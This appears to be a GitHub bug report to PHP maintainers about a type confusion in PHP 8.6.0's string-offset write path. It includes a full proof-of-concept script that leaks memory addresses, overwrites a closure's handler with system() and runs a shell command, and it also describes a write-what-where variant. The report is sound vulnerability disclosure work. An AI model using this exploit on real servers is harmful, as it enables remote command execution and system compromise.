Skip to content

Type confusion in zend_assign_to_string_offset() leads to RCE (PHP 8.6.0) #25637

Closed as not planned

Description

@dhg0x

Hi,

PHP 8.6.0 (official Windows NTS x64 build, 18/11/2026) has a type confusion in the string offset write path.

zend_assign_to_string_offset() keeps the string alive with GC_ADDREF, but it does not revalidate the container zval after the user error handler runs. If the handler keeps the old string alive and replaces the container with a Closure, the engine writes Z_STRVAL_P(str)[offset] = c into obj+24+offset. Offsets 32 and 120..127 overwrite func.type and func.internal_function.handler, so calling the closure runs zif_system.

PoC:

<?php
error_reporting(E_ALL & ~E_WARNING & ~E_DEPRECATED & ~E_NOTICE);
$b = [];
for ($i = 24; $i < 32; $i++) {
    $s = str_repeat("A", 24);
    set_error_handler(function ($no, $msg) use ($i) {
        $GLOBALS['s'] = null;
        $GLOBALS['a'] = array_fill(0, 1, 1);
        return true;
    });
    $c = $s[$i . "x"];
    restore_error_handler();
    $b[] = ($c === "") ? 0 : ord($c);
}
$leak = 0;
for ($j = 7; $j >= 0; $j--) $leak = ($leak << 8) | ($b[$j] & 0xFF);
$base = $leak - 0x23F60;
$zif = $base + 0x26AD60;
$cl = function ($cmd) { return $cmd; };
$GLOBALS['CL'] = $cl;
$GLOBALS['keep'] = [];
set_error_handler(function ($no, $msg) {
    $GLOBALS['keep'][] = $GLOBALS['s'];
    $GLOBALS['s'] = $GLOBALS['CL'];
    return true;
});
$s = str_repeat("A", 256);
$s["32x"] = chr(1);
for ($i = 0; $i < 8; $i++) {
    $s = str_repeat("A", 256);
    $s[(120 + $i) . "x"] = chr(($zif >> (8 * $i)) & 0xFF);
}
$cl('cmd.exe /c echo RCE_PROOF && whoami');

On the official 8.6.0 build it prints RCE_PROOF and the current user, exit 0. The RVAs are for this build: zval_ptr_dtor 0x23F60, zif_system 0x26AD60.

This is not fixed by febae1cbfd (GH-25329), which only touches the read path and the JIT read helper.

I know SECURITY.md classifies malicious error handlers as "bugs, not security issues", so I am reporting this as an engine bug, not asking for a CVE.

A related variant: with $s = &$a, the zend_reference is not kept alive either; the handler can free it and the engine writes through the stale pointer (zend_execute.c:2199), giving a write-what-where.

Suggested fix: revalidate Z_TYPE_P(str) == IS_STRING after the callback, like the array fix in 62bec0e083.

Activity

  1. Girgias commented on Nov 20, 2026

    @Girgias
    Member

    This seems very much related to #20018

  2. ndossche commented on Nov 21, 2026

    @ndossche
    Member

    This is known, closing as duplicate.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions